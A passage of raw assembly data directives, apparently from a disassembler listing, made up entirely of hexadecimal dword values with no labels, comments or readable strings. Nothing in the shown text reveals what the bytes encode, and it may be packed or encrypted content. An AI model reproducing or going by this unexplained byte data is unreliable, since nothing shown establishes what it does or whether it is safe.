		dd 0E912F5C6h, 90330F85h, 0B6778668h, 77095061h, 57191C64h
		dd 0AF698481h, 404E9034h, 6816508Dh, 4CF27C7Ah,	6E3C588Bh
		dd 7BD1A12Bh, 68C35526h, 54538569h, 737F8200h, 1BE3FBAh
		dd 2B70B94h, 51A641E9h,	681A3AC8h, 6F6AC166h, 842A26B1h
		dd 6640EBC1h, 9F4C77C6h, 0B50CD684h, 0D81FA810h, 0C805A6A8h
		dd 38EA3B05h, 0E884F029h, 48E90804h, 0DEBB5DD4h, 92E91741h
		dd 89573D42h, 744342DFh, 0F2581397h, 6A6882C6h,	0E95FA15Eh
		dd 6781F721h, 8B5A71C1h, 68A73457h, 3295E672h, 0ED274015h
		dd 266FC3Ah, 56CD814Dh,	94508A4Ah, 0E71D309h, 2E24004Ch
		dd 9F73E04Fh, 6259BE68h, 0BA7E727h, 4BE351FCh, 0E3E10F04h
		dd 0B55C1B39h, 498EF09Bh, 11ECE199h, 2F5B9727h,	568BFA48h
		dd 25546C44h, 823239C4h
		dd 508AB055h, 42308B2Eh, 0BE33FC56h, 81E91671h,	2562ED1Bh
		dd 0BF11E48Ch, 0D361FB9Eh, 0F0E99C64h, 5F3027E7h, 189D8CF8h
		dd 0B8CABE0Fh, 0E91813A4h, 3D98A1A0h, 421988B1h, 85D48BCCh
		dd 0E3EEEE6Dh, 7E165886h, 1ECE2577h, 50DA22BBh,	0B080F0h
		dd 9269523Bh, 9EE5903h,	30DBD050h, 84EC942Dh, 28554C26h
		dd 0CAF69715h, 44260974h, 875F1712h, 2DF3490Ah,	0C51F05F2h
		dd 0C2955DDEh, 5360FD07h, 33092F88h, 0A775E973h, 0DB625FD8h
		dd 3F56593Bh, 0FEEB5734h, 1C9CD904h, 8A611722h,	665C0193h
		dd 0DCCE9821h, 0D2E19530h, 842892Ch, 290CA295h,	511566FEh
		dd 712D1CB9h, 0BA99BD15h, 2A5459C9h, 578B1342h,	0BC6A0199h
		dd 37BD4B2Dh, 0B0D44A9Fh, 445A69CEh, 0CCAC6F27h, 609FA290h
		dd 0BFB9312Fh, 109A44Fh, 951B2F3h, 0A4CDFEC3h, 0D9FA2711h
		dd 1E3462B4h, 7BE85EFFh, 584A2A58h, 0F1688C9Bh,	84F94F49h
		dd 2C039443h, 53885A23h, 970BB551h, 706EDC0h, 0E533D37Bh
		dd 0C20C28A4h, 0ECBA52D3h, 6D5A0809h, 8D4F5B02h, 0D1BE4104h
		dd 22C6C238h, 10188964h, 808A6963h, 0F84F895Dh,	0C86A4AE5h
		dd 0E2048125h, 563046A7h, 7DD1C3C7h, 0E22F58EFh, 86244F12h
		dd 2AB8AA17h, 0FA8BEBD0h, 0A0113A2Ah, 6E2C453Dh, 92E22298h
		dd 0EC609D80h, 3E723F05h, 0D801710Ah, 3C3E072Dh, 0F55EBC7Ah
		dd 0A5779909h, 93C2DC32h, 16EDF754h, 0C2995FFDh, 552FD342h
		dd 0B953518Bh, 7440E10Bh, 271B4231h, 0F7A82D5h,	6C45DBDh
		dd 97B5EE20h, 2AEC27F3h, 0BD2D80EFh, 0D5C5670h,	0AEF9143Dh
		dd 3E187D3h, 6C2D4792h,	41A1B08Fh, 0A7043FCCh, 2EE8D16Ch
		dd 2FBBC89Fh, 0BC88510Fh, 1874C85h, 1FD51E04h, 83C193BCh
		dd 0F46F2D09h, 0F8AAE6E8h, 0B0548042h, 73C75E25h, 742034B4h
		dd 9942DFE9h, 85668910h, 43254078h, 0A449FB89h,	7468884h
		dd 0B7044D12h, 217F61Eh, 7B706862h, 9F27864Ch, 6979C615h
		dd 3A81B527h, 6E1C5BC6h, 44CC2AC0h, 0C1B600Ch, 0C894453Eh
		dd 7FE1214Ch, 178F200h,	0D6E9284Eh, 4A37B9FEh, 3AB20311h
		dd 0C0E51E15h, 293961EBh, 1690527Dh, 80736309h,	0C0AAC370h
		dd 5B5ECAD4h, 0D565F5EDh, 0CA2A7833h, 0B6A5D01Ch, 72E91662h
		dd 598E312Bh, 56C33041h, 76827E00h, 1A3B5735h, 4215E36h
		dd 0F2C7F285h, 1D2778B6h, 42D671A5h, 84126857h,	3CBF3FF8h
		dd 0C941B623h, 0FD69C27Fh, 0D642DE59h, 0C054EAA1h, 2D07E26Bh
		dd 0C5045F7h, 0BC8EE4Ah, 1DE861C6h, 6E43C0E9h, 4A2B4A88h
		dd 467BCDAAh, 7402E621h, 0C12F7753h, 0F87940E0h, 0A5DDDDF9h
		dd 31C23E54h, 17E9CDE0h, 4757B0D7h, 0D9095790h,	8097C28Bh
		dd 0A8161A82h, 0B0F8900Ch, 5F088044h, 43FF2F68h, 5063E8D3h
		dd 80216213h, 455D3E06h, 96322558h, 25590C5Eh, 0B62B0225h
		dd 7BE9C56Dh, 0EB620A0h, 28212CF0h, 95FFA9Fh, 2458681Fh
		dd 6B6FC896h, 0BB8A40A9h, 1D0A0A9Dh, 0D05012h, 7A319CFh
		dd 8C4C14E9h, 0EB808217h, 2B9F68Eh, 2FCD68B3h, 0F820564Ch
		dd 0DB807D3h, 4047EE39h, 0E546849h, 26D0538h, 55E92074h
		dd 0F8245D21h, 0F03D899Eh, 6E973C16h, 0E991BDF0h, 8E8A4D3h
		dd 2FE03B1Eh, 6E65FB29h, 3AE96804h, 203ADABBh, 38681583h
		dd 614A1314h, 6F5559CAh, 0A1652A14h, 7AF4332Ch,	681AC2D8h
		dd 53591EBBh, 0E575D64Bh, 0FADFD5D6h, 81D7BF00h, 0FA62F2E7h
		dd 6C60B576h, 35506731h, 0C27A7CEFh, 1AE16E4Ah,	0D76662F2h
		dd 7E524311h, 0E35A64CEh, 0BE5317FEh, 5D511CB7h, 0F2DB67FCh
		dd 6DCD4829h, 3C3B0841h, 0E026E986h, 3F4091A1h,	338236Bh
		dd 18C62D5Ah, 0AEAD7E02h, 0C8290244h, 1D02CC2h,	6E424368h
		dd 0A43CE431h, 7B1EA104h, 16C32094h, 0F07DF9EAh, 9B7D472Eh
		dd 403BF568h, 0FE2BB71Fh, 0DF3AF6C7h, 0E9560680h, 0F26B984Eh
		dd 0CFECBD5Fh, 9ECB5820h, 90A65811h, 9D697E82h,	0B1B026B5h
		dd 3A2B9898h, 138E8C44h, 8092B300h, 283E2FC3h, 0CAAF1ADCh
		dd 57D00443h, 6FAE42C0h, 2D1C7FCEh, 620E8BFh, 4C6312B4h
		dd 66FC015Eh, 4F854931h, 40EA3918h, 7F75BCADh, 14986A5Eh
		dd 0AB4A860Ch, 835E5109h, 0F0250573h, 0F07C2C76h, 10679E8h
		dd 0FE5FEE32h, 3A3497E9h, 0B35D442h, 0E2324070h, 3BE8F8B7h
		dd 0CA8E4218h, 7C0C0965h, 77279A0Ch, 2737788Bh,	7FE27532h
		dd 0BD096B56h, 97087B2Ah, 0F3B62110h, 903F2896h, 40810285h
		dd 5D295ECFh, 0F67F8EE4h, 0B320DAB1h, 38701705h, 45FE5B3Ch
		dd 0CD269576h, 4E7D78AAh, 4AA4BDB8h, 83FD287h, 5E16E09Eh
		dd 0A2818209h, 61B5B3FCh, 6893955h, 61503096h, 4EC28749h
		dd 0B22A97B1h, 55A65890h, 63CD6FE2h, 748FE430h,	0E9791744h
		dd 1F10AD30h, 734F93EFh, 239069F1h, 12E78877h, 47EE2DE8h
		dd 34F03126h, 32B845Eh,	738D0284h, 0F6401E3h, 3E366C18h
		dd 8084D020h, 5E5C1FDCh, 1D3301A7h, 0B80CBF44h,	0E8180B0Ch
		dd 3371A44Dh, 0F168BCD1h, 7B55BB00h, 1E8EF0Bh, 2791C6D9h
		dd 337CCE31h, 0D862555Ah, 3E894674h, 79C77B4h, 548B0B93h
		dd 4A88E6A5h, 0A8BBF855h, 8672B15Ch, 4D444A68h,	0F7D4F3F6h
		dd 62FE89BCh, 8DE45FA7h, 0A0E86C4Bh, 0E8966CD0h, 0EEE4B38Eh
		dd 6C050040h, 29217A5Eh, 7A32DF8h, 9F0170E7h, 6C9F5379h
		dd 4939008Fh, 22BB6A2Fh, 9704A5BEh, 0D15AD301h,	4DF323C0h
		dd 66E22510h, 2580FCh, 3E3869C7h, 68D8F515h, 87706E99h
		dd 50169B08h, 0A9947304h, 373FD8EEh, 796A359h, 0E7E5B01Fh
		dd 0ECBE62A2h, 0A56813F6h, 97A36112h, 0B95207D0h, 0D893A083h
		dd 5836BE2Dh, 2C165A7Ch, 8120CD40h, 313AD068h, 0AD2059CAh
		dd 6B422653h, 33C20F03h, 295F6D40h, 962AE9F2h, 0B32AD00Fh
		dd 3B93C30h, 58015B13h,	446A22CCh, 3563320h, 4A63BB53h
		dd 1CF23BA6h, 5E277ED8h, 2F087E5Bh, 66E1CD59h, 0E622BB0Fh
		dd 9038E612h, 0ED6C2E01h, 1FF5134Fh, 11C0806h, 30543217h
		dd 6A09C4E9h, 70C78092h, 7B189573h, 5D80FAE8h, 4C62D83h
		dd 0D0B33D24h, 5892BAECh, 256B4F3Dh, 0BE9CE0CDh, 623526D6h
		dd 0F2A008E5h, 71F13A25h, 3C89AF09h, 31739050h,	0A6F16580h
		dd 23772AFDh, 5EE17EA5h, 0C956134Ch, 619A20B2h,	7D9A1612h
		dd 0C48E1CBAh, 0EE19E948h, 2D68A4D8h, 0E56D0F9Eh, 139B402Fh
		dd 5645240Eh, 0C220E76Ch, 0C6D465B7h, 78F94B2Dh, 0B2AD2659h
		dd 0C68166E2h, 146A4709h, 6BB9D13Ch, 8FC00956h,	957B0C76h
		dd 3A0EFE78h, 0C1093F65h, 8E5317E3h, 77C37530h,	0DA062735h
		dd 625FACC2h, 2650F032h, 443BBEE9h, 0AD97AFC1h,	4FBE926Fh
		dd 0B9701B9h, 0FAA7BCE9h, 4CAE9C7h, 38D305C1h, 9DF24E7Ah
		dd 2A38A3D3h, 0DD8AA05Ah, 35A4DA39h, 0B0960F0h,	3D34124Ah
		dd 5E9023C6h, 0C6A94064h, 3FE21FA4h, 5C6AA39Dh,	48F997E9h
		dd 811C3365h, 17FD7001h, 4F9756BAh, 10E985E8h, 0D3C64EB5h
		dd 0B93DFCE5h, 0A13822D3h, 7968DD2Ah, 302DBB01h, 21432295h
		dd 0E023AFEDh, 5EECE9F8h, 5157C821h, 5625BEA0h,	0F7790209h
		dd 3D854D5h, 0E754C42Eh, 6EEE89E1h, 20683A26h, 125E69Bh
		dd 698F764Ch, 0C245AED6h, 0E830EBD1h, 0B22A343Ah, 7C6882FCh
		dd 3729DD2Bh, 59952950h, 48E9C1CCh, 0D3A13D99h,	585C1D3h
		dd 0F7E7D13Dh, 91CF8DFh, 8973F420h, 49D4D07Fh, 0F94B075Ah
		dd 0D157C901h, 4A923D36h, 1780B3Bh, 17071008h, 0DB27D15Fh
		dd 0F3BA0095h, 3EB90A7Ah
		dd 184EAC1h, 5A0B3BE2h,	83AA206Fh, 4A5AFFF6h, 2766A2A0h
		dd 455A1578h, 1240301Eh, 6F94952h, 32DE0E7Ah, 0F1C04633h
		dd 0ECBAF9Dh, 59D0294Ch, 62584CBBh, 0C8E7E9FDh,	0EFD1041Dh
		dd 0EAFF6E1h, 0AAF6E7CEh, 0D0E58081h, 95E388E0h, 0A11F66D3h
		dd 0BAE22EACh, 62285C1Eh, 76F870E9h, 4E7DB805h,	2BE80769h
		dd 0F93EC15Ah, 52B101E5h, 0EC49A53Ah, 0BD99EEE2h, 62C32DBCh
		dd 0D2D976E9h, 1C326541h, 91392AE9h, 93B90724h,	0D435A450h
		dd 479AC96Ch, 0B0C98564h, 570B1FFh, 0F588C869h,	821C6B8Fh
		dd 9B5E922h, 0FAB73077h, 2E189DA9h, 0CB0B55D8h,	18D5316Dh
		dd 9F5457D6h, 4425E45Bh, 34EE811Fh, 98489BE8h, 0B94148D3h
		dd 79207E07h, 4ED6906Ah, 93B614E9h, 4408E82Ch, 505F09B3h
		dd 0C448CE64h, 0E4F18E7Eh, 8CAAFA9Fh, 6EFD7D40h, 0A88F94CCh
		dd 95D5F6D2h, 0DB03C5BAh, 0EF877CB2h, 0E02C5A00h, 474E828h
		dd 525B5905h, 0BA208BE9h, 7A1118AEh, 0D7D4EA03h, 0C664B083h
		dd 0BA4BCC0Fh, 3A26C577h, 21A230EEh, 9A1258B7h,	20EEEB29h
		dd 7FB252DEh, 0C0D2F606h, 4CD606EAh, 6C8F7EEBh,	866D40D7h
		dd 0F7180B5Fh, 0E8D1D800h, 42255135h, 0CADAC946h, 5A540298h
		dd 0F2773195h, 4F188F2Eh, 4E7C99E6h, 0E99CD158h, 0B5EE6422h
		dd 0EB287B12h, 0C755245h, 139EE4E8h, 0B63040D4h, 0B0F68023h
		dd 6BF9F3E0h, 0D4BABA90h, 48961E75h, 81AC857h, 99C15816h
		dd 0B10089C6h, 0D91EF63Ch, 9C79F180h, 0CA125AEAh, 0D165C21Dh
		dd 939F4FACh, 0CF13AB7Dh, 9B251DA8h, 0B408285Ch, 5C824EFh
		dd 415FEB9h, 17FD20A4h,	0C4E53714h, 0BD01F5EFh,	3F304576h
		dd 0D5902884h, 90296658h, 3C68E894h, 0B3491087h, 2F331062h
		dd 180BA3F9h, 820266F6h, 59937DC0h, 554881C2h, 0CD4C295Bh
		dd 276B8C48h, 56C8120Fh, 81F0B254h, 2D37E951h, 0EDC6BD6Ch
		dd 0EA07E3D0h, 491601CDh, 0FCC4CA34h, 62590809h, 0C4D8546Bh
		dd 615B56Eh, 0C101459Eh, 22C90382h, 0BFB98751h,	117E020h
		dd 33995BDFh, 1502DE43h, 0FF42E99Fh, 18C1A84Fh,	0F039849Eh
		dd 8668125Eh, 0B3A08C58h, 1B083113h, 0E109E812h, 0BA3F204h
		dd 0B96C8EE9h, 3F0907F0h, 8438D47Dh, 0D2CD83F9h, 0A0F012E0h
		dd 12ABC87Eh, 0A889529Fh, 0A8011E8h, 12091E76h,	0CB0C30E3h
		dd 17BDF27h, 0EF13E525h, 0B96CAFA9h, 31E1EA05h,	0B1246C67h
		dd 52590809h, 97E91A3Bh, 965D9688h, 32024EE0h, 3F5A66B8h
		dd 59E3920h, 27685F97h,	0C117F864h, 0EF6E2C42h,	0C30E927Fh
		dd 4B02680Eh, 61EDAE56h, 82A61920h, 429A8C50h, 9D178F80h
		dd 0D64218CCh, 10E120Bh, 3486AD20h, 11942BD5h, 27A1CAAEh
		dd 92EC4557h, 4038D75h,	2075A1D7h, 2D06D0EBh, 3D1B4DB8h
		dd 2205000Eh, 0E9A9B9B0h, 20BD2B4Ah, 4CABF114h,	24757C94h
		dd 8288D56Dh, 0F568C0B6h, 73EAD5EBh, 90D146EBh,	3DB5666Fh
		dd 5FA6125Ah, 7F8C3465h, 0A1DB5847h, 34D758A2h,	6C489DE4h
		dd 1141C7E9h, 0F272F36Ch, 868270Bh, 10154A22h, 909F0DD2h
		dd 325EBB9h, 0E9165C58h, 0E71329F5h, 88CDEA01h,	6475C100h
		dd 2C4148AAh, 85FDE91Ah, 5AE74455h, 1065F266h, 0BF037C69h
		dd 5ED7679h, 0F7F760Bh,	48000258h, 0A45F0590h, 0E04892C5h
		dd 5F04D39Ch, 2DAE2110h, 282C2EA2h, 0BBC9409Fh,	0F64DA5A6h
		dd 0D4065CA1h, 0BAB94B88h, 0F0F7E91Dh, 9DFBBE22h, 812FE603h
		dd 9812E3C7h, 0F0F7290Bh, 5E08A0EFh, 1B609789h,	5512ACC9h
		dd 0D716490Ch, 7457B292h, 4BDF6ED1h, 59D43849h,	2056CCC9h
		dd 5A05A00Fh, 79986855h, 0BBEB30BAh, 1E0C854Eh,	0DB72D58h
		dd 0B15D4E50h, 0E4A20291h, 0BE132771h, 0AA2A52EBh, 5E08EF04h
		dd 312E96F1h, 340AE945h, 0B04B829h, 4033FB30h, 0E8C17780h
		dd 96E91708h, 15E961DEh, 0DE1D2884h, 0F8F1CF56h, 0A5A4AB6Ch
		dd 732A329Ah, 7C1F940h,	874F02EFh, 4CE4B7F7h, 5A7ED563h
		dd 3908ED2Eh, 9288A4Ch,	0C785E9B7h, 38D7F890h, 0B70C6228h
		dd 87DDDD51h, 1F87EA0Ch, 75C90184h, 0DC590802h,	1CD249Dh
		dd 0DA35FD4h, 0B1042A31h, 5D0B2EC8h, 0ED7AF90Bh, 0D87807BFh
		dd 6637CBA2h, 52660011h, 0D024B450h, 80F4FEE4h,	0C66BCC32h
		dd 59DE0BA1h, 0C803052Ch, 0CD011143h, 41F2B288h, 39257FCBh
		dd 4F8144EAh, 6EB12B6h,	4D7AD2EEh, 2568DA13h, 191E0E5Fh
		dd 1DA64565h, 0C29DE001h, 0D1ABDD13h, 0CB0B0ED3h, 62897CE1h
		dd 0C0F2DE3Eh, 7DD6C20Ah, 20D879Ch, 803B4DD1h, 481451E1h
		dd 68580704h, 34EB3F1Dh, 0F0D9FF21h, 1B40DF25h,	95C83112h
		dd 6804A3C5h, 90A85B1Bh, 0EDA69DD8h, 0EAD95581h, 9D502B2Ch
		dd 0C06B0E15h, 0A332405Ch, 23BF00F3h, 0E9455E58h, 0E48E4F91h
		dd 739F523Ch, 542F3D0Fh, 0FF00669Ah, 4DF32209h,	0F70BEC90h
		dd 804F646Eh, 8E331375h, 0EEDFA80Eh, 0CB9A0FBFh, 5E2F31BAh
		dd 0EF83DF63h, 77869904h, 0BA844E9Dh, 0F005EA88h, 2C5A66BAh
		dd 20026DEh, 2919C322h,	5BCDE9C6h, 581ECC16h, 519D0098h
		dd 0AB844956h, 69B01799h, 8664126Ah, 0B412EBFCh, 180549ACh
		dd 5D73D95Bh, 0A7B1A5A0h, 0E9B2587Dh, 2D6A764Dh, 96EF5951h
		dd 9152A060h, 0DC2FBECh, 80535E54h, 657F5A87h, 8698BD25h
		dd 6A3DACB9h, 0F298E1B2h, 0D42AD715h, 3901EBDCh, 11E9DE01h
		dd 97A3C1A0h, 49B0A0F2h, 49259109h, 0B4D7876Fh,	294B96B0h
		dd 828D0CEh, 0E14CD746h, 0EC1D2A00h, 58B5BB3Eh,	310EE116h
		dd 2401E616h, 169F4F1Eh, 95B71370h, 0BB555AC2h,	6DBBF055h
		dd 2864341Ah, 0EE96009Eh, 2F4D1119h, 24658AC1h,	2371250Bh
		dd 0D0088AA0h, 0E909141Ch, 33F723A0h, 0A521F4DFh, 64BD511Eh
		dd 248C6F70h, 0E58013D1h, 0ADCD0869h, 7030A227h, 0C9ADF187h
		dd 7B957FCEh, 2BC408BCh, 0BF00D326h, 13090B4h, 0B557FADFh
		dd 44B74600h, 7300F780h, 2838B050h, 1D0458C7h, 0DD0D2C94h
		dd 0F076BAF8h, 82884B5Bh, 82EA63FFh, 5F0E625Dh,	0A185F245h
		dd 8B013B66h, 0E545A0F6h, 0CE67C70h, 60AE50A8h,	3A0AAC0Ch
		dd 0A4467889h, 98B2F002h, 7DDC61F8h, 1E17982Eh,	63A6594Bh
		dd 138EE908h, 0D1DF0B25h, 5BDA403Bh, 24EC283h, 50F095BDh
		dd 724AE954h, 0C527E5FDh, 0C82540D1h, 82A14F0Ah, 0E4DB0341h
		dd 0C1B53885h, 18C45FA3h, 7D6CED1Bh, 7C5A1603h,	0D39AE90Eh
		dd 0BD2E645Fh, 41FEE7ECh, 1A8CA34Fh, 0F478417Ch, 0AD777ECh
		dd 1F4FB621h, 61F7E22Bh, 59136808h, 9D80C83Eh, 44359745h
		dd 7D72E13Bh, 3644840h,	32D05DDBh, 41F0EBE9h, 43E0DF99h
		dd 0CBDDC0DDh, 690E1531h, 4883DAC1h, 906F2818h,	93B8C836h
		dd 0CB317110h, 0AC25FEB5h, 8E17288h, 157B59D8h,	78511603h
		dd 35639F10h, 0C27325C8h, 0EE100A29h, 46C03166h, 0F6C3E780h
		dd 904D3DFh, 0DF79AB97h, 157DC5A5h, 0B627462Dh,	3B7D6BC2h
		dd 35C0E9D5h, 1FF5902h,	39303487h, 1D1A9020h, 8F2D0B10h
		dd 0D36573F3h, 40AEE826h, 4019DDA6h, 0F38A6A05h, 2BEABF81h
		dd 300CA519h, 12C0C2B5h, 50672503h, 0D4799758h,	493FD9A5h
		dd 0D6BB5E49h, 76F0A40Eh, 971882E9h, 54BF3820h,	5AA85626h
		dd 10EFFE0Bh, 0B5DE785Dh, 0A42FB246h, 0E236A0DDh, 0CE409F4Ah
		dd 0D7076580h, 51FC9B32h, 61377BBDh, 0EB90204Ch, 95421A3Ah
		dd 9B9D3FD0h, 674A3E4Fh, 5387290h, 0D9B0F158h, 24E1A700h
		dd 5FE9742Eh, 0FDA5C5ACh, 55129324h, 0EDE58EECh, 4EE985D7h
		dd 4B6800E0h, 65A386h
		dd 0C38002B3h, 1DD3F6BCh, 54D98851h, 7F2493D1h,	83424F1Eh
		dd 4F426113h, 0E9932F5Ch, 79ADD412h, 91033A13h,	0A5B61A07h
		dd 0C1A0E419h, 88BA66A8h, 82DED24Dh, 0D38D503Ch, 215FC97Dh
		dd 0D6E9D844h, 0C06E92F1h, 0F7A8017Fh, 7520C27Ch, 5F40BDAFh
		dd 1AFA20F3h, 0A7EE9B0h, 0F73BA903h, 0A4E940D0h, 7644E3C9h
		dd 0F22F02B2h, 46790D89h, 112DC44Fh, 6E13FA14h,	0B7A79375h
		dd 0F1FE30A1h, 22F0D15Bh, 0E45F16A0h, 47C538ABh, 592F0EBEh
		dd 6AE9C1CBh, 70357E10h, 8FC0BFFh, 92027D6Ch, 0C13EF050h
		dd 0E52840EDh, 9B692F4Ah, 403B6BD8h, 0CFF04A41h, 0DD2E13ACh
		dd 8605AF2Dh, 55B37AA7h, 0FDE35A16h, 5FFEC5D9h,	935888F5h
		dd 99EB1FFh, 1820755Eh,	0CF11649h, 0C52D5F7Bh, 2D7520B6h
		dd 13F37721h, 0EC1C8B01h, 90FD89B5h, 1E1FE73Ah,	0D3069A4Ch
		dd 0B9A0C20Fh, 0F46D4A5Dh, 169EBCD5h, 2D588AAFh, 0EF591306h
		dd 0BCE9D945h, 0DEB8CC40h, 40BE255h, 0CE8ED2BAh, 97C88235h
		dd 89D9C47Eh, 130AB73Ah, 6085E3E9h, 0E90478FFh,	688D562Dh
		dd 97AF0F50h, 0CF08D851h, 0B2051274h, 0F10C17E8h, 0E76A1D2Dh
		dd 49EE25EBh, 0D7412949h, 0CE04F2AAh, 83B34E9Bh, 46749614h
		dd 450B2128h, 31EE0D8Bh, 18526E01h, 0DB1766B8h,	8316F8E7h
		dd 0DB2E2CD0h, 76AAECC9h, 140B3C19h, 0DC546E56h, 2FDA5893h
		dd 662D19Eh, 245F0B02h,	13BA8669h, 0ADA8A874h, 97D8616Fh
		dd 5F423B90h, 0DF4F604Ah, 0CDE71110h, 105891Dh,	95DB662Dh
		dd 592D7E45h, 0C828C442h, 2697EA06h, 0B3E5EA3h,	35B2327Eh
		dd 0F2812BD4h, 0D2EBE730h, 0EC798D68h, 0E61925BCh, 55A08E63h
		dd 18C01F4Ah, 42D978EFh, 196C27E9h, 50954A4Eh, 226AF3EFh
		dd 36E9E8C8h, 1BE23A66h, 1673AC10h, 42F65F5Bh, 0E440377h
		dd 840AE910h, 0B9EFBF03h, 0DB417305h, 0FC755AC3h, 0FB9C4BB4h
		dd 209B418Eh, 4B1EC68Dh, 0EAC90260h, 1CDBE496h,	1249C580h
		dd 3668AEEBh, 315F9CFAh, 6ACA32E6h, 90566188h, 88BB5BCCh
		dd 0AC9F04DFh, 9F376DFh, 484E2630h, 0A3A00FFh, 9DB1D9CFh
		dd 6E4B5A78h, 520A0Bh, 1B840247h, 0B0D7FC5Ah, 8B71978Dh
		dd 0F4E30B35h, 52C78102h, 83827B3Dh, 80DCDC02h,	490D81B8h
		dd 5DEA89F8h, 0C85E3D6Ch, 4A03FE9Dh, 0DC682758h, 83DF1062h
		dd 0A3E84EA7h, 0DDC1263Fh, 0EA8F8D3h, 4B71A7B7h, 15B84DF5h
		dd 0D308E25Fh, 0A1C1074Bh, 9DE68A7h, 54CB2838h,	0D52A8A05h
		dd 4748434h, 0AA18A9C7h, 522E1E29h, 892CEF08h, 5C68155Eh
		dd 62502E6Eh, 0D766169Bh, 9609FC13h, 2329AB0Fh,	0EAE9FD85h
		dd 431A5E8Ah, 5ADAB866h, 6E0C1C0h, 9C0509CFh, 0E90CFE82h
		dd 1EF750F3h, 13F8315Bh, 51A0F080h, 6E0953B5h, 98E385A5h
		dd 9B419C3Bh, 4CFD2B61h, 9689664h, 50F87BC4h, 0CE306C45h
		dd 0B322009h, 5BD92102h, 38208D8Fh, 0F8E91F61h,	0E9C8B55Bh
		dd 5B682F55h, 0B8050F66h, 6EB01CC0h, 33E993A0h,	0E0FDAC73h
		dd 8CCAA2BAh, 0F6FFC65Fh, 9BB86884h, 0C45F1244h, 0F4558924h
		dd 989F27F9h, 39D02D72h, 0E55080E7h, 0BB4895D9h, 1009EF1h
		dd 0C82111A0h, 0F0463559h, 0E9200954h, 907EC95Bh, 240A2663h
		dd 99E355h, 345B42BEh, 5C098E0Dh, 0E9309ECh, 7D2D6082h
		dd 450B418h, 0DD5B7E35h, 3D80EF61h, 2594436h, 0BBCABF51h
		dd 4975AEA6h, 0DFD23EF2h, 0E5F5A820h, 0AC5DA832h, 0DA493910h
		dd 7F549h, 0C95EE2A9h, 4A6FFC6Eh, 0B8FE70A2h, 390F49D5h
		dd 73DEE931h, 13D640A9h, 50B7706Bh, 72BABAE9h, 96015B25h
		dd 55AF8263h, 6F76EEBAh, 4D11E88h, 127C0668h, 1C58408h
		dd 0CA173EBDh, 5DCE9333h, 39401BAh, 7ECC34B8h, 0D5E905C1h
		dd 62202865h, 0BCD88270h, 90D23D2Dh, 0FC28168h,	0B5E1A80h
		dd 0BCD360C5h, 0D07A89F0h, 90E59C34h, 31BC4B83h, 51871898h
		dd 5B19DEA0h, 400B33F8h, 5E7107E9h, 0B652874Ch,	5AF05282h
		dd 89DD92EAh, 948EBEB4h, 2F348958h, 8846B17Fh, 0ABEC6BC6h
		dd 7E55C1F0h, 0A07410ADh, 0AB007F5Ah, 970CA3Eh,	0E6D160B7h
		dd 9E551274h, 0DDB60113h, 7A7BE91Dh, 0A5F323D0h, 12822C61h
		dd 35470470h, 0EE2681AEh, 0BBAC05B0h, 0F8BE84Ah, 0F69F6A3Dh
		dd 761E9A00h, 4AE96B94h, 0D60F845Fh, 8A0F82A8h,	2F3E6C28h
		dd 1B04F6FAh, 811DED20h, 5E4EABBEh, 0B666202Bh,	0E9E209FEh
		dd 0B09D5327h, 0B7713D4Bh, 4D8906D3h, 564CA092h, 28258068h
		dd 55FE3D07h, 0E22CF9C1h, 0D5037CC7h, 0E8D41Ch,	4BCDE586h
		dd 919065C6h, 0AB125A0Bh, 3225012Dh, 803AD6EFh,	1025CD6Dh
		dd 51AC6748h, 4080495h,	0BADA5C8Ch, 4B7D22CBh, 0F79D005Ah
		dd 118A68E1h, 2F3C9BBBh, 3CC769CBh, 696C540h, 5F0F7E56h
		dd 0B4A412D8h, 0E3E88089h, 0C9D0683Ch, 22FD1284h, 46074DF9h
		dd 3F150E29h, 9C5F5D89h, 0B9510692h, 28CA439Bh,	0D8E64B90h
		dd 20A0551h, 0F6FC26DBh, 2EB73063h, 1052D1BFh, 0F65727E5h
		dd 0D6DDEFD1h, 78D3F2B0h, 2EC0624Bh, 3D27A935h,	3174671h
		dd 126BB60Fh, 6EA7180Eh, 294BFE4Dh, 0C5656D61h,	0E2F096E9h
		dd 0F2E8BF05h, 95B230FFh, 76255EB9h, 107C7279h,	5EC8E970h
		dd 51DE73ECh, 626A67E2h, 1FBE2851h, 58895FB5h, 107647EDh
		dd 0D0E4A5EBh, 9FC1BAD4h, 0DD5A7B79h, 50098794h, 567EF668h
		dd 0E8E958B5h, 0BE1C1494h, 64894B1Dh, 0CEF90F46h, 0C114C19h
		dd 2C0B17D0h, 0C6E6A00Ah, 0B542AC04h, 9BC7894Bh, 2F3C997h
		dd 0A8689094h, 6161966Fh, 705BCDD3h, 8240EC09h,	5E4D775Fh
		dd 0EEE284FEh, 0B03D516Dh, 0F016F5Dh, 293DAF1Eh, 5EE99AF3h
		dd 0BFF361E5h, 4F685700h, 21F2DE2h, 0F639095Fh,	27474009h
		dd 0D5227518h, 3C561512h, 0B5EE8358h, 0AE5C2424h, 971B853Ch
		dd 759A5BE4h, 0ED4CD80Bh, 8E825745h, 0F060DAF7h, 0D3755B78h
		dd 350F0D00h, 642D5A1Ch, 6B833C22h, 800E441Eh, 1F2C0507h
		dd 0D0003C0h, 11414EFDh, 19635B2Dh, 5309CF93h, 0D68D40D2h
		dd 3E4FB44Fh, 0E80B3BC2h, 4ACBA30h, 520AF823h, 5785EE5Fh
		dd 18A385A0h, 0C4AE236h, 0C0572F2h, 7177E974h, 0B7B8EECCh
		dd 428F63A8h, 99E6E869h, 1B44084Eh, 50146D70h, 53784996h
		dd 568531F5h, 8476AB4Bh, 484FE92Fh, 257BCDBAh, 1F86811h
		dd 173D2F05h, 0D085897Ch, 0FC5AFCE8h, 607650F4h, 0BB552E39h
		dd 0ED517829h, 0B1817B08h, 99051FDAh, 0ADAF40C7h, 40691662h
		dd 0B16900AAh, 9F073E73h, 4105D603h, 526080ACh,	2B08F966h
		dd 26131FE9h, 27EB016Dh, 0F05C4B14h, 6995BCE4h,	8D384073h
		dd 0EB215B12h, 493B4C2Dh, 995152DBh, 68C1014Bh,	79C177CAh
		dd 0E496017Ah, 8E175474h, 0A135460Ch, 0EB8953C6h, 2B705FCDh
		dd 0FE9AA84Ah, 9A51EEC5h, 105DAF80h, 3B13121Ch,	5289FC2Dh
		dd 2F7B155Ch, 70047E25h, 17BAC9E9h, 40802502h, 0E2837976h
		dd 7A405764h, 0C695F74Dh, 0C6802FF3h, 0D4E427C4h, 0C44E28F4h
		dd 287B17F4h, 1FE09FEh,	1FE05096h, 43CF6CE9h, 3CC38722h
		dd 572904CCh, 61A29DBBh, 35E42F00h, 0CF449F31h,	0D98C6127h
